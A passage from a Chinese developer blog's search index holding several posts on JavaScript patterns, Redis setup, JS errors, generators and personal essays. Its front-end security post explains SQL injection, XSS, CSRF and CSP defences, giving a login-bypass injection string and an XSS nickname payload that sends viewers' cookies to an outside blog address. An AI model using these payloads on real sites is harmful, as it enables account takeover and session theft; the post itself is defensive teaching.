对象。</p><ol><li>可以用它来划分命名空间。</li><li>借助单例模式，可以把代码组织的更为一致，方便阅读和维护。</li></ol><h3 id="工厂模式"><a href="#工厂模式" class="headerlink" title="工厂模式"></a>工厂模式</h3><h4 id="概念-2"><a href="#概念-2" class="headerlink" title="概念"></a>概念</h4><p>提供创建对象的接口，根据参数产生相应的对象，就是把成员对象的创建工作交给一个外部对象，好处在于消除对象之间的耦合。</p><h4 id="分类-1"><a href="#分类-1" class="headerlink" title="分类"></a>分类</h4><ul><li>简单工厂模式：使用一个类，通常为单体，来生成实例。</li><li>复杂工厂模式：将其成员对象的实例化推到子类中，子类可以重写父类接口的方法以便创建的时候指定自己的对象类型。父类只对创建过程中的一般性问题进行处理，这些处理会被子类继承，子类之间是相互独立的，具体的业务逻辑会放在子类中进行编写。</li></ul><h4 id="代码实现-2"><a href="#代码实现-2" class="headerlink" title="代码实现"></a>代码实现</h4><p>简单工厂模式</p><pre><code class="js">var XHRFactory = function () {}XHRFactory.createXMLHttp = function () { var XMLHttp = null if (window.XMLHttpRequest) { XMLHttp = new XMLHttpRequest() } else if (window.ActiveObject) { XMLHttp = new ActiveXObject('Microsoft.XMLHTTP') } return XMLHttp}var Ajax = function () { var XMLHttp = XHRFactory.createXMLHttp()}</code></pre><p>复杂工厂模式：先设计一个抽象类，这个类不能被实例化，只能用来派生子类，最后通过对子类的拓展实现工厂方法。</p><pre><code class="js">var XHRF = function () {}XHRF.prototype = { createFactory: function () { throw new Error('this is an abstract class') }}var XHRH = function () {}// 子类继承父类extend(XHRH, XHRF)// 把父类原型传递给子类，实现继承XHRH.prototype = new XHRF()// 重置子类原型的构造器为子类自身XHRH.prototype.constructor = XHRH// 重新定义createFactory 方法XHRH.prototype.createFactory = function () { var XMLHttp = null if (window.XMLHrrpRequest) { XMLHttp = new XMLHttpRequest() } else if (window.ActiveXObject) { XMLHttp = new ActiveXObject('Microsoft.XMLHTTP') } return XMLHttp}</code></pre><h4 id="应用场景-2"><a href="#应用场景-2" class="headerlink" title="应用场景"></a>应用场景</h4><ol><li>对象的构建十分复杂</li><li>需要依赖具体环境创建不同实例</li><li>处理大量具有相同属性的小对象</li></ol><h4 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h4><ol><li>弱化对象间的耦合，防止代码重复。</li><li>重复性的代码可以放在父类中去编写，子类继承于父类的所有成员属性和方法，子类只专注于实现自己的业务逻辑。</li></ol><h4 id="缺点"><a href="#缺点" class="headerlink" title="缺点"></a>缺点</h4><p>当工厂增加到一定程度的时候，提高了代码的复杂度，可读性下降。而且没有解决对象的识别问题，既怎么知道一个对象的类型。</p><p>未完待续。。。</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 未完成 </tag>
|
||
|
||
<tag> pattern </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>redis环境搭建</title>
|
||
<link href="/redis%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.html"/>
|
||
<url>/redis%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="redis-环境搭建"><a href="#redis-环境搭建" class="headerlink" title="redis 环境搭建"></a>redis 环境搭建</h1><h2 id="下载"><a href="#下载" class="headerlink" title="下载"></a>下载</h2><p><a href="https://redis.io/" target="_blank" rel="noopener">官方网站</a></p><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><pre><code class="js">解压tar zxvf redis-4.0.8.tar.gz移动文件夹mv redis-4.0.8 /usr/local/打开该文件夹cd /usr/local/redis-4.0.8/编译测试sudo make test编译安装sudo make install</code></pre><h2 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h2><pre><code class="js">redis-server</code></pre><h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2><pre><code class="t">新建目录sudo mkdir redis-4.0.8/binsudo mkdir redis-4.0.8/etcsudo mkdir redis-4.0.8/db拷贝文件cp src/mkreleasehdr.sh bincp src/redis-benchmark bincp src/redis-check-rdb bincp src/redis-cli bincp src/redis-server bin</code></pre><h2 id="修改redis-conf"><a href="#修改redis-conf" class="headerlink" title="修改redis.conf"></a>修改redis.conf</h2><pre><code class="t">#修改为守护模式daemonize yes#设置进程锁文件pidfile /usr/local/redis-3.2.8/redis.pid#端口port 6379#客户端超时时间timeout 300#日志级别loglevel debug#日志文件位置logfile /usr/local/redis-3.2.8/log-redis.log#设置数据库的数量，默认数据库为0，可以使用SELECT <dbid>命令在连接上指定数据库iddatabases 16##指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合#save <seconds> <changes>#Redis默认配置文件中提供了三个条件：save 900 1save 300 10save 60 10000#指定存储至本地数据库时是否压缩数据，默认为yes，Redis采用LZF压缩，如果为了节省CPU时间，#可以关闭该#选项，但会导致数据库文件变的巨大rdbcompression yes#指定本地数据库文件名dbfilename dump.rdb#指定本地数据库路径dir /usr/local/redis-3.2.8/db/#指定是否在每次更新操作后进行日志记录，Redis在默认情况下是异步的把数据写入磁盘，如果不开启，可能#会在断电时导致一段时间内的数据丢失。因为 redis本身同步数据文件是按上面save条件来同步的，所以有#的数据会在一段时间内只存在于内存中appendonly no#指定更新日志条件，共有3个可选值：#no：表示等操作系统进行数据缓存同步到磁盘（快）#always：表示每次更新操作后手动调用fsync()将数据写到磁盘（慢，安全）#everysec：表示每秒同步一次（折衷，默认值）appendfsync everysec</code></pre><h2 id="启动服务"><a href="#启动服务" class="headerlink" title="启动服务"></a>启动服务</h2><pre><code class="t">启动./bin/redis-server etc/redis.conf查看日志tail -f log-redis.logOK./bin/redis-cli</code></pre><h2 id="基本命令"><a href="#基本命令" class="headerlink" title="基本命令"></a>基本命令</h2><pre><code class="redis">查看所有数据keys *插入键值对set a b查看数据get a</code></pre>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 数据库 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> redis </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>你的一生，究竟为什么而活</title>
|
||
<link href="/%E4%BD%A0%E7%9A%84%E4%B8%80%E7%94%9F%EF%BC%8C%E7%A9%B6%E7%AB%9F%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%8C%E6%B4%BB.html"/>
|
||
<url>/%E4%BD%A0%E7%9A%84%E4%B8%80%E7%94%9F%EF%BC%8C%E7%A9%B6%E7%AB%9F%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%8C%E6%B4%BB.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="启示录"><a href="#启示录" class="headerlink" title="启示录"></a>启示录</h1><p>此时，我看了一个获奖的小动画，一只老鼠，从追赶火车，到追寻幸福的过程，途中经历了很多东西：生意、豪车、酗酒、嗑药、陷入迷幻，为了金钱而工作最终成为大多数人中的一员。平庸一生</p><h2 id="幸福是什么"><a href="#幸福是什么" class="headerlink" title="幸福是什么"></a>幸福是什么</h2><p>幸福对我来说，就是能做自己喜欢的事，追求自己的梦想，而我的理想，就是能够为这个社会留下点什么，带上我的音乐梦，为他人带去欢乐，一个人的一生不应该平庸，来到这个世界，一定是为了让我们能够实现自己的价值，每个人都不一样，每个人都存在过，人活着的意义是什么，不就是为了追寻自己的理想？并努力去实现它吗？</p><p>我们现在大多数人，处于不知道自己想要什么，而且不知道对自己来说什么才是真正的幸福。想不平庸，却不愿意全力以赴。最后就像片中的老鼠一样。最后还是变成了自己最不希望的样子。</p><h2 id="我的幸福"><a href="#我的幸福" class="headerlink" title="我的幸福"></a>我的幸福</h2><ul><li>能追求自己的音乐理想，写自己的歌；</li><li>花切、健身…一些生命中比较酷的事；</li><li>尝试新的东西，锻炼自己的胆识；</li><li>能苦中作乐，对生活充满激情与乐观；</li><li>三十岁之前有房子，车子；</li><li>三十五岁之前拥有自己的爱人，孩子；</li><li>四十岁之前自己的公司成型，并且能为他人投资；</li><li>六十岁之前退休，去享受生活，享受音乐；<blockquote><p>不甘平庸才是我们每个人应该的追求；</p></blockquote></li></ul><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>有梦想有目标的生活，才是最幸福的，未来虽然不可预测，但是我们能为我们即将到来的未来做做好准备，不要太享受生活，即使目前的生活很安逸，也要为明天做好打算，人都是向上看的，在多数情况下，只有你敢想敢做，没有什么事情是做不了的，如果做不到，就是你没有尽全力！生命，不应该只局限于活着！</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 幸福 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>JS常见的十大错误</title>
|
||
<link href="/JS%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8D%81%E5%A4%A7%E9%94%99%E8%AF%AF.html"/>
|
||
<url>/JS%E5%B8%B8%E8%A7%81%E7%9A%84%E5%8D%81%E5%A4%A7%E9%94%99%E8%AF%AF.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="1-Uncaught-TypeError-Cannot-read-property"><a href="#1-Uncaught-TypeError-Cannot-read-property" class="headerlink" title="1. Uncaught TypeError: Cannot read property"></a>1. Uncaught TypeError: Cannot read property</h2><p>发生这种情况的原因很多，但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。</p><h2 id="2-TypeError-‘undefined’-is-not-an-object"><a href="#2-TypeError-‘undefined’-is-not-an-object" class="headerlink" title="2. TypeError: ‘undefined’ is not an object"></a>2. TypeError: ‘undefined’ is not an object</h2><p>这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同，但 Safari 使用了不同的错误消息提示语。</p><h2 id="3-TypeError-null-is-not-an-object"><a href="#3-TypeError-null-is-not-an-object" class="headerlink" title="3. TypeError: null is not an object"></a>3. TypeError: null is not an object</h2><p>这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。</p><blockquote><p>在 JavaScript 中，null 和 undefined 是不一样的，这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量，而 null 表示该值为空。 要验证它们不相等，请尝试使用严格的相等运算符 ===</p></blockquote><h2 id="4-unknown-Script-error"><a href="#4-unknown-Script-error" class="headerlink" title="4. (unknown): Script error"></a>4. (unknown): Script error</h2><p>当未捕获的 JavaScript 错误（通过window.onerror处理程序引发的错误，而不是捕获在try-catch中）被浏览器的跨域策略限制时，会产生这类的脚本错误。这是一种浏览器安全措施，旨在防止跨域传递数据，否则将不允许进行通信。</p><h2 id="5-TypeError-Object-doesn’t-support-property"><a href="#5-TypeError-Object-doesn’t-support-property" class="headerlink" title="5. TypeError: Object doesn’t support property"></a>5. TypeError: Object doesn’t support property</h2><p>这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。</p><h2 id="6-TypeError-‘undefined’-is-not-a-function"><a href="#6-TypeError-‘undefined’-is-not-a-function" class="headerlink" title="6. TypeError: ‘undefined’ is not a function"></a>6. TypeError: ‘undefined’ is not a function</h2><p>当您调用未定义的函数时，这是 Chrome 中产生的错误。</p><h2 id="7-Uncaught-RangeError-Maximum-call-stack"><a href="#7-Uncaught-RangeError-Maximum-call-stack" class="headerlink" title="7. Uncaught RangeError: Maximum call stack"></a>7. Uncaught RangeError: Maximum call stack</h2><p>这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。</p><h2 id="8-TypeError-Cannot-read-property-‘length’"><a href="#8-TypeError-Cannot-read-property-‘length’" class="headerlink" title="8. TypeError: Cannot read property ‘length’"></a>8. TypeError: Cannot read property ‘length’</h2><p>这是 Chrome 中发生的错误，因为读取未定义变量的长度属性。</p><h1 id="9-Uncaught-TypeError-Cannot-set-property"><a href="#9-Uncaught-TypeError-Cannot-set-property" class="headerlink" title="9. Uncaught TypeError: Cannot set property"></a>9. Uncaught TypeError: Cannot set property</h1><p>当我们尝试访问一个未定义的变量时，它总是返回 undefined，我们不能获取或设置任何未定义的属性。 在这种情况下，应用程序将抛出 “Uncaught TypeError: Cannot set property”。</p><h2 id="10-ReferenceError-event-is-not-defined"><a href="#10-ReferenceError-event-is-not-defined" class="headerlink" title="10. ReferenceError: event is not defined"></a>10. ReferenceError: event is not defined</h2><p>当您尝试访问未定义的变量或超出当前范围的变量时，会引发此错误。</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> js </tag>
|
||
|
||
<tag> error </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>如何理解yield和*函数</title>
|
||
<link href="/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3yield%E5%92%8C-%E5%87%BD%E6%95%B0.html"/>
|
||
<url>/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3yield%E5%92%8C-%E5%87%BD%E6%95%B0.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="Koa1"><a href="#Koa1" class="headerlink" title="Koa1"></a>Koa1</h2><h3 id="什么是-Generator"><a href="#什么是-Generator" class="headerlink" title="什么是 Generator"></a>什么是 Generator</h3><pre><code class="js">function *test() {}test() // -> [Object Generator]</code></pre><blockquote><p>generator 函数可以只运行函数的一部分，以及控制何时运行剩余的部分。</p></blockquote><pre><code class="js">function *learn() { yield 1 yield 2 return 3}let learnGen = learn()learnGen.next() // -> {"done": false, "value": 1}</code></pre><blockquote><p>再次调用会运行到下一个 yield 处</p></blockquote><pre><code class="js">learnGen.next() // -> {"done": false, "value": 2}learnGen.next() // -> {"done": true, "value": 3}</code></pre><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>可以通过 <code>yield</code> 和 <code>*</code> 的结合实现类似 <code>await</code> <code>async</code> 的效果的效果</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> JS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> generator </tag>
|
||
|
||
<tag> yield </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>我所追求的狼性</title>
|
||
<link href="/%E6%88%91%E6%89%80%E8%BF%BD%E6%B1%82%E7%9A%84%E7%8B%BC%E6%80%A7.html"/>
|
||
<url>/%E6%88%91%E6%89%80%E8%BF%BD%E6%B1%82%E7%9A%84%E7%8B%BC%E6%80%A7.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="狼道"><a href="#狼道" class="headerlink" title="狼道"></a>狼道</h1><p>虽然在普通人看来，狼是一个贬义的存在，’狼子野心’,’狼狈为奸’。</p><p>但在大自然中，狼群相对于其他生物来说，更富有智慧，更有团结力。狼对机会的把握概率为80%，而人类只有35%左右，几十头狼就可以干翻白羊大军，如果在战场上，这是非常可怕的，所以我们可以从狼的身上学到很多可贵的精神和品质。</p><h2 id="狼子野心"><a href="#狼子野心" class="headerlink" title="狼子野心"></a>狼子野心</h2><p>狼有非常大的野心，即使数量只有四十只左右，仍然有围剿百羊的勇气，即使猎物比自己体型大数倍，也敢于猎杀！</p><h3 id="天生的野心家"><a href="#天生的野心家" class="headerlink" title="天生的野心家"></a>天生的野心家</h3><p>‘大丈夫在世，理应如此’，这就是当年项羽看到秦始皇所说的话，反正我感觉听到就有一种豪气冲天的气魄！</p><blockquote><p>寄语：没有完成不了的目标，就看你有没有野心去做！</p></blockquote><h3 id="紧盯自己的目标"><a href="#紧盯自己的目标" class="headerlink" title="紧盯自己的目标"></a>紧盯自己的目标</h3><p>‘当一个人知道自己的目标去处时，全世界都回为他让路’，出自爱默生。</p><p>没有目标的人在社会的最底层，目标模糊的人成为蓝领，目标明确的人成为白领，目标远大并记录下来的人，最后会成为社会的顶尖人士！(就像我现在做的)</p><blockquote><p>寄语：没有猎物，我们就去寻找，发现猎物我们就去追逐。寻找，发现，追逐，获得 - 这就是大自然强者生存的要素</p></blockquote><h2 id="人应该有理想，而不是’妄想’"><a href="#人应该有理想，而不是’妄想’" class="headerlink" title="人应该有理想，而不是’妄想’"></a>人应该有理想，而不是’妄想’</h2><p>野心 !== 妄想，人要有野心，但是也要根据实际出发，当实力悬殊的时候，当竞争法则不再公平的时候，退却是保存实力的最好方法，另一种生命的智慧。<br><br>妄想症的核心判断是总是包含着 ”我“，例如：”我伟大”,”人们在迫害我”，”我有罪”…….野心虽然也强调个体，但更多持有一种开放的态度，”我可以做的更好“，“我要达到某某那种程度”(当时我说，想成为类似奇舞团，alloyteam，类似大厂的技术团队，这是野心不是妄想)</p><blockquote><p>寄语：我们不缺乏成功的信念，但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候，适当转移也是明智的选择。</p></blockquote><h2 id="弹性的性格"><a href="#弹性的性格" class="headerlink" title="弹性的性格"></a>弹性的性格</h2><p>大丈夫能屈能伸，正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服，精明的野心家不会因为愤怒或是心情影响自己的理智，陶渊明的不为五斗米折腰品质固然可贵，但是换个角度思考，这样做的后果是百姓失去了一个好官，自己的前途受损！这样的结果真的是他想要的？如果当时他性格能够弹性一点，成就绝对不止这一点。至少留给后辈的作品会更丰富吧。</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 阅读 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 狼性 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>前端安全</title>
|
||
<link href="/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8.html"/>
|
||
<url>/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><pre><code class="html"><font color="#aaf">safetools 的使用方式</font></code></pre><p><a href="http://h5.test.jimistore.com/base/xss" target="_blank" rel="noopener">demo</a></p><ol><li>引用 js 包（内容很少，也可以将内容拷贝出来，直接引用方法）</li><li>将需要提交的数据经过 filter 即可，如下：</li></ol><pre><code class="js">浏览器自带转换为字符串var newValue = safetools.encode(value)正则加密（可能有兼容）var newValue = safetools.reEncode(value)正则解密（可能有兼容）var newValue = safetools.reDecode(value)</code></pre><blockquote><p>tag: 前端交互，涉及到数据流动并需要在返回在页面上显示的，一定要经过后端！</p></blockquote><h1 id="常见的攻击手段"><a href="#常见的攻击手段" class="headerlink" title="常见的攻击手段"></a><font color="#aaf">常见的攻击手段</font></h1><h2 id="1-SQL-脚本注入攻击于与防御"><a href="#1-SQL-脚本注入攻击于与防御" class="headerlink" title="1. SQL 脚本注入攻击于与防御"></a><font color="#0af">1. SQL 脚本注入攻击于与防御</font></h2><h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><blockquote><p>用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入.</p></blockquote><h3 id="场景"><a href="#场景" class="headerlink" title="场景"></a>场景</h3><p>语句</p><pre><code class="sql">strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"</code></pre><p>如果恶意填入：</p><blockquote><p>userName = “1’ OR ‘1’=’1”; passWord = “1’ OR ‘1’=’1”;</p></blockquote><p>既可实现无密码登录，美滋滋吧…</p><h3 id="处理方式"><a href="#处理方式" class="headerlink" title="处理方式"></a>处理方式</h3><p>前端和 XSS 处理类似，对传递的数据进行筛选，重点是后端对数据的处理！</p><h2 id="2-XSS-攻击与防御"><a href="#2-XSS-攻击与防御" class="headerlink" title="2. XSS 攻击与防御"></a><font color="#0af">2. XSS 攻击与防御</font></h2><h3 id="概念-1"><a href="#概念-1" class="headerlink" title="概念"></a>概念</h3><blockquote><p><font color="green">跨站脚本</font>（Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。<br>XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p></blockquote><h3 id="类型"><a href="#类型" class="headerlink" title="类型"></a>类型</h3><h4 id="简单分类"><a href="#简单分类" class="headerlink" title="简单分类"></a>简单分类</h4><ol><li>反射型xss</li></ol><p>通过一次 xss 请求，将数据渲染到页面，请求 -> 返回数据，例子：搜索</p><ol start="2"><li>储存型xss</li></ol><p>通过一次 xss 请求，直接将数据储存在数据库，下次调用无需继续请求，例如：评论</p><h4 id="复杂分类"><a href="#复杂分类" class="headerlink" title="复杂分类"></a>复杂分类</h4><ol><li>client 型</li><li>server 型</li></ol><h3 id="处理方式-1"><a href="#处理方式-1" class="headerlink" title="处理方式"></a>处理方式</h3><ul><li><p>编码</p><blockquote><p>将 > ( 标签转换为字符串，可以处理大多数 xss 攻击</p></blockquote></li><li><p>过滤</p><blockquote><p>有的语句并不完全依赖<>标签，例如src=”javascript:alert(1);”</p></blockquote></li><li><p>校正</p><blockquote><p>这个照理来说应该后端处理，目前没碰到这种场景</p></blockquote></li></ul><pre><code class="js">> 一个直播平台，用户可以进入观看，主播可以设置自己的昵称:var starNickName = '${starNickname}'</code></pre><p>这怕是要翻水水了…假设是我是主播，我把昵称设置为：</p><pre><code class="js">';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''</code></pre><p>这一串如果传到后端，而后端又没有校正的话的话，这怕是傻眼了…观众进来一个死一个，我应该也会进去蹲几天吧，吧。。。</p><ul><li>CSP</li></ul><pre><code class="html">在头部加入：<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"></code></pre><p>meta：不信任任何URL，即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源：没有限制 启用后，不符合 CSP 的外部资源就会被阻止加载。</p><blockquote><p>注意：该属性目前比较新，hotfix 和 chorme 支持较好，并不适用于所有的浏览器。</p></blockquote><h2 id="3-CSRF"><a href="#3-CSRF" class="headerlink" title="3. CSRF"></a><font color="#0af">3. CSRF</font></h2><blockquote><p><span style="color:green;">跨站请求伪造</span>（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本（XSS）相比，XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。简单地说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。</p></blockquote><h3 id="处理方式-2"><a href="#处理方式-2" class="headerlink" title="处理方式"></a>处理方式</h3><ul><li>验证码</li></ul><p>在请求的同时，带个token,或者验证码</p><ul><li>Referer Check</li></ul><p>这个可以伪造…但加入更保险</p><blockquote><p>注意：如果网站有XSS漏洞或者一些跨域漏洞，可能导致Token泄露。 在XSS攻击下，读取Token值，然后再构造出一个合法的请求，可以称为：XSRF。</p></blockquote><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>web 安全是个需要长期坚持的事情，没有绝对安全的产品，我们需要做到的就是能够提前预防和及时修复。</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 安全 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> xss </tag>
|
||
|
||
<tag> crsf </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>用vue撸一个二手商城</title>
|
||
<link href="/%E7%94%A8vue%E6%92%B8%E4%B8%80%E4%B8%AA%E4%BA%8C%E6%89%8B%E5%95%86%E5%9F%8E.html"/>
|
||
<url>/%E7%94%A8vue%E6%92%B8%E4%B8%80%E4%B8%AA%E4%BA%8C%E6%89%8B%E5%95%86%E5%9F%8E.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="开发背景"><a href="#开发背景" class="headerlink" title="开发背景"></a>开发背景</h2><p>一直想尝试下全栈开发，想尝试一下，选题的初衷是自己对资源共享和二手市场的前景非常看好</p><p>共享资源的概念是有利于社会进步，并且是思维的一种跨越；未来一定是一个更美好的社会，我们需要做的就是让那一天尽早的到来</p><h2 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h2><h3 id="前端"><a href="#前端" class="headerlink" title="前端"></a>前端</h3><ul><li>vue + vue-router + vuex</li><li>axios </li><li>muse-ui</li></ul><h3 id="后端"><a href="#后端" class="headerlink" title="后端"></a>后端</h3><ul><li>express + nodeJS</li></ul><h3 id="打包"><a href="#打包" class="headerlink" title="打包"></a>打包</h3><ul><li>webpack</li></ul><h3 id="数据库"><a href="#数据库" class="headerlink" title="数据库"></a>数据库</h3><ul><li>MongoDB</li></ul><p>待续…</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 未完成 </tag>
|
||
|
||
<tag> 全栈开发 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>PWA初窥</title>
|
||
<link href="/PWA%E5%88%9D%E7%AA%A5.html"/>
|
||
<url>/PWA%E5%88%9D%E7%AA%A5.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="Progressive-Web-Apps"><a href="#Progressive-Web-Apps" class="headerlink" title="Progressive Web Apps"></a>Progressive Web Apps</h1><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><ul><li>渐进式：能确保每个用户都能打开网页</li><li>响应式：PC，手机，平板，不管哪种格式，网页格式都能完美适配</li><li>离线应用：支持用户在没网的条件下也能打开网页，这里就需要 Service Worker 的帮助</li><li>APP 化：能够像 APP 一样和用户进行交互</li><li>常更新：一旦 Web 网页有什么改动，都能立即在用户端体现出来</li><li>安全：安全第一，给自己的网站加上一把绿锁–HTTPS</li><li>可搜索：能够被引擎搜索到推送：做到在不打开网页的前提下，推送新的消息</li><li>可安装：能够将 Web 想 APP 一样添加到桌面</li><li>可跳转：只要通过一个连接就可以跳转到你的 Web 页面。</li></ul><h2 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h2><pre><code class="json">minifest.json 内容{ "short_name": "pwa", "name": "pwa - demo", // 应用名称 "icons": [ // 应用显示图标，根据容器大小适配 { "src": "assets/imgs/48.png", "type": "image/png", "sizes": "48x48" }, { "src": "assets/imgs/96.png", "type": "image/png", "sizes": "96x96" }, { "src": "assets/imgs/192.png", "type": "image/png", "sizes": "192x192" } ], "background_color": "#2196F3", // 刚打开页面时的背景 "theme_color": "#2196F3", // 主题颜色 "display": "standalone", //独立显示 "start_url": "index.html?launcher=true" // 启动的页面}</code></pre><p>待续…</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> PWA </tag>
|
||
|
||
<tag> 未完成 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>ubuntu下搭建一个nodejs+nginx+mongodb服务器</title>
|
||
<link href="/ubuntu%E4%B8%8B%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAnodejs-nginx-mongodb%E6%9C%8D%E5%8A%A1%E5%99%A8.html"/>
|
||
<url>/ubuntu%E4%B8%8B%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AAnodejs-nginx-mongodb%E6%9C%8D%E5%8A%A1%E5%99%A8.html</url>
|
||
